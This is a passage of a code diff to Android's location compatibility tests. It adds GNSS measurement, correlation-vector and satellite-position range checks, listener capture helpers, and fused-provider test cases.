@@ -109,6 +110,24 @@
     }
 
     /**
+     * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
+     * (GnssMeasurementsEvent.Callback callback)}
+     *
+     * @param callback the listener to add
+     */
+    public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
+            GnssMeasurementRequest request) {
+        Log.i(TAG, "Add Gnss Measurement Callback. enableFullTracking=" + request);
+        boolean measurementListenerAdded =
+                mLocationManager.registerGnssMeasurementsCallback(request, Runnable::run, callback);
+        if (!measurementListenerAdded) {
+            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+            Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+            Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+        }
+    }
+
+    /**
      * Request GNSS location updates with {@code LocationRequest#setLowPowerMode()} enabled.
      *
      * See {@code LocationManager#requestLocationUpdates}.
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index afb5785..7c5afae 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -16,20 +16,23 @@
 
 package android.location.cts.common;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.location.CorrelationVector;
 import android.location.GnssClock;
 import android.location.GnssMeasurement;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssStatus;
 import android.location.LocationManager;
+import android.location.SatellitePvt;
 import android.util.Log;
 
-import com.android.compatibility.common.util.ApiLevelUtil;
-
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -89,31 +92,17 @@
     /**
      * Check if test can be run on the current device.
      *
-     * @param  androidSdkVersionCode must be from {@link android.os.Build.VERSION_CODES}
      * @param  testLocationManager TestLocationManager
      * @return true if Build.VERSION &gt;= {@code androidSdkVersionCode} and Location GPS present on
      *         device.
      */
-    public static boolean canTestRunOnCurrentDevice(int androidSdkVersionCode,
-            TestLocationManager testLocationManager,
+    public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
             String testTag) {
-        if (ApiLevelUtil.isBefore(androidSdkVersionCode)) {
-            Log.i(testTag, "This test is designed to work on API level " +
-                    androidSdkVersionCode + " or newer. " +
-                    "Test is being skipped because the platform version is being run in " +
-                    ApiLevelUtil.getApiLevel());
-            return false;
-        }
-
         // If device does not have a GPS, skip the test.
         if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
             return false;
         }
 
-        // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
-        // fail the test now, because there's no point in going further.
-        // If this is CTS only,we'll warn instead, and quickly pass the test.
-        // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
         boolean gpsProviderEnabled = testLocationManager.getLocationManager()
                 .isProviderEnabled(LocationManager.GPS_PROVIDER);
         SoftAssert.failOrWarning(true, " GPS location disabled on the device. "
@@ -314,7 +303,98 @@
                 measurement.getAutomaticGainControlLevelDb() >= -100
                     && measurement.getAutomaticGainControlLevelDb() <= 100);
         }
+    }
 
+    /**
+     * Assert all SystemApi fields in Gnss Measurement are in expected range.
+     *
+     * @param testLocationManager TestLocationManager
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     * @param requireCorrVec assert correlation vectors outputs
+     * @param requireSatPvt  assert satellite PVT outputs
+     */
+    public static void assertAllGnssMeasurementSystemFields(
+        TestLocationManager testLocationManager, GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs, boolean requireCorrVec, boolean requireSatPvt) {
+
+        if (requireCorrVec) {
+            softAssert.assertTrue("GnssMeasurement must has correlation vectors",
+                timeInNs,
+                "measurement.hasCorrelationVectors() == true",
+                String.valueOf(measurement.hasCorrelationVectors()),
+                measurement.hasCorrelationVectors());
+        }
+        if (measurement.hasCorrelationVectors()) {
+            verifyCorrelationVectors(measurement, softAssert, timeInNs);
+        }
+
+        if (requireSatPvt) {
+            softAssert.assertTrue("GnssMeasurement must has satellite PVT",
+                timeInNs,
+                "measurement.hasSatellitePvt() == true",
+                String.valueOf(measurement.hasSatellitePvt()),
+                measurement.hasSatellitePvt());
+        }
+        if (measurement.hasSatellitePvt()) {
+            verifySatellitePvt(measurement, softAssert, timeInNs);
+        }
+    }
+
+    /**
+     * Verify correlation vectors are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifyCorrelationVectors(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+        Collection<CorrelationVector> correlationVectors =
+                measurement.getCorrelationVectors();
+        assertNotNull("CorrelationVectors cannot be null.", correlationVectors);
+        softAssert.assertTrue("CorrelationVectors count",
+                timeInNs,
+                "X > 0",
+                String.valueOf(correlationVectors.size()),
+                correlationVectors.size() > 0);
+        for (CorrelationVector correlationVector : correlationVectors) {
+            assertNotNull("CorrelationVector cannot be null.", correlationVector);
+            int[] magnitude = correlationVector.getMagnitude();
+            softAssert.assertTrue("frequency_offset_mps : "
+                    + "Frequency offset from reported pseudorange rate "
+                    + "for this CorrelationVector",
+                    timeInNs,
+                    "X >= 0",
+                    String.valueOf(correlationVector.getFrequencyOffsetMetersPerSecond()),
+                    correlationVector.getFrequencyOffsetMetersPerSecond() >= 0);
+            softAssert.assertTrue("sampling_width_m : "
+                    + "The space between correlation samples in meters",
+                    timeInNs,
+                    "X > 0.0",
+                    String.valueOf(correlationVector.getSamplingWidthMeters()),
+                    correlationVector.getSamplingWidthMeters() > 0.0);
+            softAssert.assertTrue("frequency_offset_mps : "
+                    + "Offset of the first sampling bin in meters",
+                    timeInNs,
+                    "X >= 0.0",
+                    String.valueOf(correlationVector.getSamplingStartMeters()),
+                    correlationVector.getSamplingStartMeters() >= 0.0);
+            softAssert.assertTrue("Magnitude count",
+                    timeInNs,
+                    "X > 0",
+                    String.valueOf(magnitude.length),
+                magnitude.length > 0);
+            for (int value : magnitude) {
+                softAssert.assertTrue("magnitude : Data representing normalized "
+                        + "correlation magnitude values",
+                        timeInNs,
+                        "-32768 <= X < 32767",
+                        String.valueOf(value),
+                        value >= -32768 && value < 32767);
+            }
+        }
     }
 
     /**
@@ -892,4 +972,71 @@
         }
         return GnssBand.GNSS_L1; // default to L1 band
     }
+
+    /**
+     * Assert most of the fields in Satellite PVT are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifySatellitePvt(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+        SatellitePvt satellitePvt = measurement.getSatellitePvt();
+        assertNotNull("SatellitePvt cannot be null when HAS_SATELLITE_PVT is true.", satellitePvt);
+        softAssert.assertTrue("x_meters : "
+                + "Satellite position X in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getXMeters()),
+                satellitePvt.getPositionEcef().getXMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getXMeters() <= 43000000);
+        softAssert.assertTrue("y_meters : "
+                + "Satellite position Y in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getYMeters()),
+                satellitePvt.getPositionEcef().getYMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getYMeters() <= 43000000);
+        softAssert.assertTrue("z_meters : "
+                + "Satellite position Z in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getZMeters()),
+                satellitePvt.getPositionEcef().getZMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getZMeters() <= 43000000);
+        softAssert.assertTrue("ure_meters : "
+                + "The Signal in Space User Range Error (URE) (meters)",
+                timeInNs,
+                "X > 0",
+                String.valueOf(satellitePvt.getPositionEcef().getUreMeters()),
+                satellitePvt.getPositionEcef().getUreMeters() > 0);
+        softAssert.assertTrue("x_mps : "
+                + "Satellite velocity X in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getXMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getXMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getXMetersPerSecond() <= 4000);
+        softAssert.assertTrue("y_mps : "
+                + "Satellite velocity Y in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getYMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getYMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getYMetersPerSecond() <= 4000);
+        softAssert.assertTrue("z_mps : "
+                + "Satellite velocity Z in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getZMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getZMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getZMetersPerSecond() <= 4000);
+        softAssert.assertTrue("ure_rate_mps : "
+                + "The Signal in Space User Range Error Rate (URE Rate) (meters per second)",
+                timeInNs,
+                "X > 0",
+                String.valueOf(satellitePvt.getVelocityEcef().getUreRateMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getUreRateMetersPerSecond() > 0);
+    }
 }
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java
new file mode 100644
index 0000000..484f67c
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssAntennaInfoCapture.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssAntennaInfo;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+
+import androidx.annotation.NonNull;
+
+import java.util.List;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssAntennaInfoCapture implements GnssAntennaInfo.Listener, AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<List<GnssAntennaInfo>> mAntennaInfo;
+
+    public GnssAntennaInfoCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mAntennaInfo = new LinkedBlockingQueue<>();
+    }
+
+    public List<GnssAntennaInfo> getNextAntennaInfo(long timeoutMs) throws InterruptedException {
+        return mAntennaInfo.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onGnssAntennaInfoReceived(List<GnssAntennaInfo> gnssAntennaInfos) {
+        mAntennaInfo.add(gnssAntennaInfos);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterAntennaInfoListener(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java
new file mode 100644
index 0000000..bc3c717
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssMeasurementsCapture.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssMeasurementsEvent;
+import android.location.LocationManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssMeasurementsCapture extends GnssMeasurementsEvent.Callback implements AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<GnssMeasurementsEvent> mMeasurements;
+    private final LinkedBlockingQueue<Integer> mStatuses;
+
+    public GnssMeasurementsCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mMeasurements = new LinkedBlockingQueue<>();
+        mStatuses = new LinkedBlockingQueue<>();
+    }
+
+    public GnssMeasurementsEvent getNextMeasurements(long timeoutMs) throws InterruptedException {
+        return mMeasurements.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public Integer getNextStatus(long timeoutMs) throws InterruptedException {
+        return mStatuses.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
+        mMeasurements.add(event);
+    }
+
+    @Override
+    public void onStatusChanged(int status) {
+        mStatuses.add(status);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterGnssMeasurementsCallback(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java b/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java
new file mode 100644
index 0000000..3051170
--- /dev/null
+++ b/tests/location/common/src/android/location/cts/common/gnss/GnssNavigationMessageCapture.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common.gnss;
+
+import android.content.Context;
+import android.location.GnssNavigationMessage;
+import android.location.LocationManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GnssNavigationMessageCapture extends GnssNavigationMessage.Callback implements AutoCloseable {
+
+    private final LocationManager mLocationManager;
+    private final LinkedBlockingQueue<GnssNavigationMessage> mNavigationMessages;
+    private final LinkedBlockingQueue<Integer> mStatuses;
+
+    public GnssNavigationMessageCapture(Context context) {
+        mLocationManager = context.getSystemService(LocationManager.class);
+        mNavigationMessages = new LinkedBlockingQueue<>();
+        mStatuses = new LinkedBlockingQueue<>();
+    }
+
+    public GnssNavigationMessage getNextNavigationMessage(long timeoutMs) throws InterruptedException {
+        return mNavigationMessages.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public Integer getNextStatus(long timeoutMs) throws InterruptedException {
+        return mStatuses.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public void onGnssNavigationMessageReceived(GnssNavigationMessage message) {
+        mNavigationMessages.add(message);
+    }
+
+    @Override
+    public void onStatusChanged(int status) {
+        mStatuses.add(status);
+    }
+
+    @Override
+    public void close() {
+        mLocationManager.unregisterGnssNavigationMessageCallback(this);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
index 83350a9..05b7557 100644
--- a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -239,7 +239,15 @@
 
     @Test
     public void testGetBestProvider() {
-        // prevent network provider from matching
+        Criteria criteria = new Criteria();
+        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+
+        if (mManager.getProvider(FUSED_PROVIDER) != null) {
+            assertEquals(FUSED_PROVIDER, mManager.getBestProvider(criteria, false));
+        }
+
+        // prevent network + fused provider from matching
         mManager.addTestProvider(NETWORK_PROVIDER,
                 true,
                 false,
@@ -250,10 +258,16 @@
                 false,
                 Criteria.POWER_HIGH,
                 Criteria.ACCURACY_COARSE);
-
-        Criteria criteria = new Criteria();
-        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
-        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_COARSE);
 
         String bestProvider = mManager.getBestProvider(criteria, false);
         assertEquals(TEST_PROVIDER, bestProvider);
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java
deleted file mode 100644
index 5aa2bd3..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssAntennaInfoRegistrationTest.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.location.GnssAntennaInfo;
-import android.location.LocationManager;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * End to end test of GNSS Antenna Info. Test first attempts to register a GNSS Antenna Info
- * Callback and then sleeps for a timeout period. The callback status is then checked. If the
- * status is not STATUS_READY, the test is skipped. Otherwise, the test proceeds. We verify that
- * the callback has been called and has received at least GnssAntennaInfo object.
- */
-@RunWith(AndroidJUnit4.class)
-public class GnssAntennaInfoRegistrationTest {
-
-    private static final String TAG = "GnssAntennaInfoCallbackTest";
-
-    private static final int ANTENNA_INFO_TIMEOUT_SEC = 10;
-
-    private LocationManager mManager;
-    private Context mContext;
-    CountDownLatch mAntennaInfoReciept = new CountDownLatch(1);
-
-    @Before
-    public void setUp() throws Exception {
-
-        mContext = ApplicationProvider.getApplicationContext();
-        mManager = mContext.getSystemService(LocationManager.class);
-
-        assertThat(mManager).isNotNull();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testGnssAntennaInfoCallbackRegistration() {
-        // TODO(skz): check that version code is greater than R
-
-        if(!mManager.getGnssCapabilities().hasGnssAntennaInfo()) {
-            // GnssAntennaInfo is not supported
-            return;
-        }
-
-        TestGnssAntennaInfoListener listener = new TestGnssAntennaInfoListener();
-
-        mManager.registerAntennaInfoListener(Executors.newSingleThreadExecutor(), listener);
-        try {
-            mAntennaInfoReciept.await(ANTENNA_INFO_TIMEOUT_SEC, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Test was interrupted.");
-        }
-
-        listener.verifyRegistration();
-
-        mManager.unregisterAntennaInfoListener(listener);
-    }
-
-    private class TestGnssAntennaInfoListener implements GnssAntennaInfo.Listener {
-        private boolean receivedAntennaInfo = false;
-        private int numResults = 0;
-
-        @Override
-        public void onGnssAntennaInfoReceived(@NonNull List<GnssAntennaInfo> gnssAntennaInfos) {
-            receivedAntennaInfo = true;
-            numResults = gnssAntennaInfos.size();
-            mAntennaInfoReciept.countDown();
-
-            for (GnssAntennaInfo gnssAntennaInfo: gnssAntennaInfos) {
-                Log.d(TAG, gnssAntennaInfo.toString() + "\n");
-            }
-        }
-
-        public void verifyRegistration() {
-            assertTrue(receivedAntennaInfo);
-            assertThat(numResults).isGreaterThan(0);
-        }
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 2aa7b15..67ba4d0 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -47,9 +47,7 @@
 import android.app.PendingIntent;
 import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.location.Criteria;
-import android.location.GnssAntennaInfo;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssStatus;
@@ -63,6 +61,9 @@
 import android.location.cts.common.GetCurrentLocationCapture;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
+import android.location.cts.common.gnss.GnssAntennaInfoCapture;
+import android.location.cts.common.gnss.GnssMeasurementsCapture;
+import android.location.cts.common.gnss.GnssNavigationMessageCapture;
 import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.PowerManager;
@@ -162,6 +163,10 @@
         mManager.setTestProviderEnabled(TEST_PROVIDER, true);
         assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isTrue();
 
+        for (String provider : mManager.getAllProviders()) {
+            mManager.isProviderEnabled(provider);
+        }
+
         try {
             mManager.isProviderEnabled(null);
             fail("Should throw IllegalArgumentException if provider is null!");
@@ -803,7 +808,7 @@
     @Test
     @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
     public void testRequestGpsUpdates_B9758659() throws Exception {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         // test for b/9758659, where the gps provider may reuse network provider positions creating
         // an unnatural feedback loop
@@ -1015,7 +1020,7 @@
     @Test
     public void testGetAllProviders() {
         List<String> providers = mManager.getAllProviders();
-        if (hasGpsFeature()) {
+        if (mManager.hasProvider(GPS_PROVIDER)) {
             assertThat(providers.contains(LocationManager.GPS_PROVIDER)).isTrue();
         }
         assertThat(providers.contains(PASSIVE_PROVIDER)).isTrue();
@@ -1071,7 +1076,9 @@
         Criteria criteria = new Criteria();
 
         String bestProvider = mManager.getBestProvider(criteria, false);
-        if (allProviders.contains(GPS_PROVIDER)) {
+        if (allProviders.contains(FUSED_PROVIDER)) {
+            assertThat(bestProvider).isEqualTo(FUSED_PROVIDER);
+        } else if (allProviders.contains(GPS_PROVIDER)) {
             assertThat(bestProvider).isEqualTo(GPS_PROVIDER);
         } else if (allProviders.contains(NETWORK_PROVIDER)) {
             assertThat(bestProvider).isEqualTo(NETWORK_PROVIDER);
@@ -1091,6 +1098,16 @@
                 true,
                 Criteria.POWER_LOW,
                 Criteria.ACCURACY_FINE);
+        mManager.addTestProvider(FUSED_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_COARSE);
 
         criteria.setAccuracy(Criteria.ACCURACY_FINE);
         criteria.setPowerRequirement(Criteria.POWER_LOW);
@@ -1107,13 +1124,15 @@
         assertThat(provider.getName()).isEqualTo(TEST_PROVIDER);
 
         provider = mManager.getProvider(LocationManager.GPS_PROVIDER);
-        if (hasGpsFeature()) {
+        if (mManager.hasProvider(GPS_PROVIDER)) {
             assertThat(provider).isNotNull();
             assertThat(provider.getName()).isEqualTo(LocationManager.GPS_PROVIDER);
         } else {
             assertThat(provider).isNull();
         }
 
+        assertThat(mManager.getProvider("fake")).isNull();
+
         try {
             mManager.getProvider(null);
             fail("Should throw IllegalArgumentException when provider is null!");
@@ -1123,6 +1142,29 @@
     }
 
     @Test
+    public void testHasProvider() {
+        for (String provider : mManager.getAllProviders()) {
+            assertThat(mManager.hasProvider(provider)).isTrue();
+        }
+
+        assertThat(mManager.hasProvider("fake")).isFalse();
+    }
+
+    @Test
+    public void testGetProviderProperties() {
+        for (String provider : mManager.getAllProviders()) {
+            mManager.getProviderProperties(provider);
+        }
+
+        try {
+            mManager.getProviderProperties("fake");
+            fail("Should throw IllegalArgumentException for non-existent provider");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
     @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
     public void testSendExtraCommand() {
         for (String provider : mManager.getAllProviders()) {
@@ -1345,14 +1387,20 @@
     }
 
     @Test
+    public void testGetGnssCapabilities() {
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
+        assertThat(mManager.getGnssCapabilities()).isNotNull();
+    }
+
+    @Test
     public void testGetGnssYearOfHardware() {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
         mManager.getGnssYearOfHardware();
     }
 
     @Test
     public void testGetGnssHardwareModelName() {
-        assumeTrue(hasGpsFeature());
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         // model name should be longer than 4 characters
         String gnssHardwareModelName = mManager.getGnssHardwareModelName();
@@ -1366,6 +1414,16 @@
     }
 
     @Test
+    public void testGetGnssAntennaInfos() {
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
+        if (mManager.getGnssCapabilities().hasAntennaInfo()) {
+            assertThat(mManager.getGnssAntennaInfos()).isNotNull();
+        } else {
+            assertThat(mManager.getGnssAntennaInfos()).isNull();
+        }
+    }
+
+    @Test
     public void testRegisterGnssStatusCallback() {
         GnssStatus.Callback callback = new GnssStatus.Callback() {
         };
@@ -1384,33 +1442,33 @@
     }
 
     @Test
-    public void testRegisterGnssMeasurementsCallback() {
-        GnssMeasurementsEvent.Callback callback = new GnssMeasurementsEvent.Callback() {
-        };
+    public void testRegisterGnssMeasurementsCallback() throws Exception {
+        try (GnssMeasurementsCapture capture = new GnssMeasurementsCapture(mContext)) {
+            mManager.registerGnssMeasurementsCallback(Runnable::run, capture);
 
-        mManager.registerGnssMeasurementsCallback(Executors.newSingleThreadExecutor(), callback);
-        mManager.unregisterGnssMeasurementsCallback(callback);
+            // test deprecated status messages
+            Integer status = capture.getNextStatus(TIMEOUT_MS);
+            assertThat(status).isNotNull();
+            assertThat(status).isEqualTo(GnssMeasurementsEvent.Callback.STATUS_READY);
+        }
     }
 
     @Test
     public void testRegisterGnssAntennaInfoCallback() {
-        GnssAntennaInfo.Listener listener = (gnssAntennaInfos) -> {};
-
-        mManager.registerAntennaInfoListener(Executors.newSingleThreadExecutor(), listener);
-        mManager.unregisterAntennaInfoListener(listener);
+        try (GnssAntennaInfoCapture capture = new GnssAntennaInfoCapture(mContext)) {
+            mManager.registerAntennaInfoListener(Runnable::run, capture);
+        }
     }
 
     @Test
-    public void testRegisterGnssNavigationMessageCallback() {
-        GnssNavigationMessage.Callback callback = new GnssNavigationMessage.Callback() {
-        };
+    public void testRegisterGnssNavigationMessageCallback() throws Exception {
+        try (GnssNavigationMessageCapture capture = new GnssNavigationMessageCapture(mContext)) {
+            mManager.registerGnssNavigationMessageCallback(Runnable::run, capture);
 
-        mManager.registerGnssNavigationMessageCallback(Executors.newSingleThreadExecutor(), callback);
-        mManager.unregisterGnssNavigationMessageCallback(callback);
-    }
-
-    private boolean hasGpsFeature() {
-        return mContext.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LOCATION_GPS);
+            // test deprecated status messages
+            Integer status = capture.getNextStatus(TIMEOUT_MS);
+            assertThat(status).isNotNull();
+            assertThat(status).isEqualTo(GnssNavigationMessage.Callback.STATUS_READY);
+        }
     }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index 1e0cd91..9cb5b6a 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -23,7 +23,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.ArrayList;
@@ -87,9 +86,7 @@
     }
 
     public void testLocationUpdatesAtVariousIntervals() throws Exception {
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
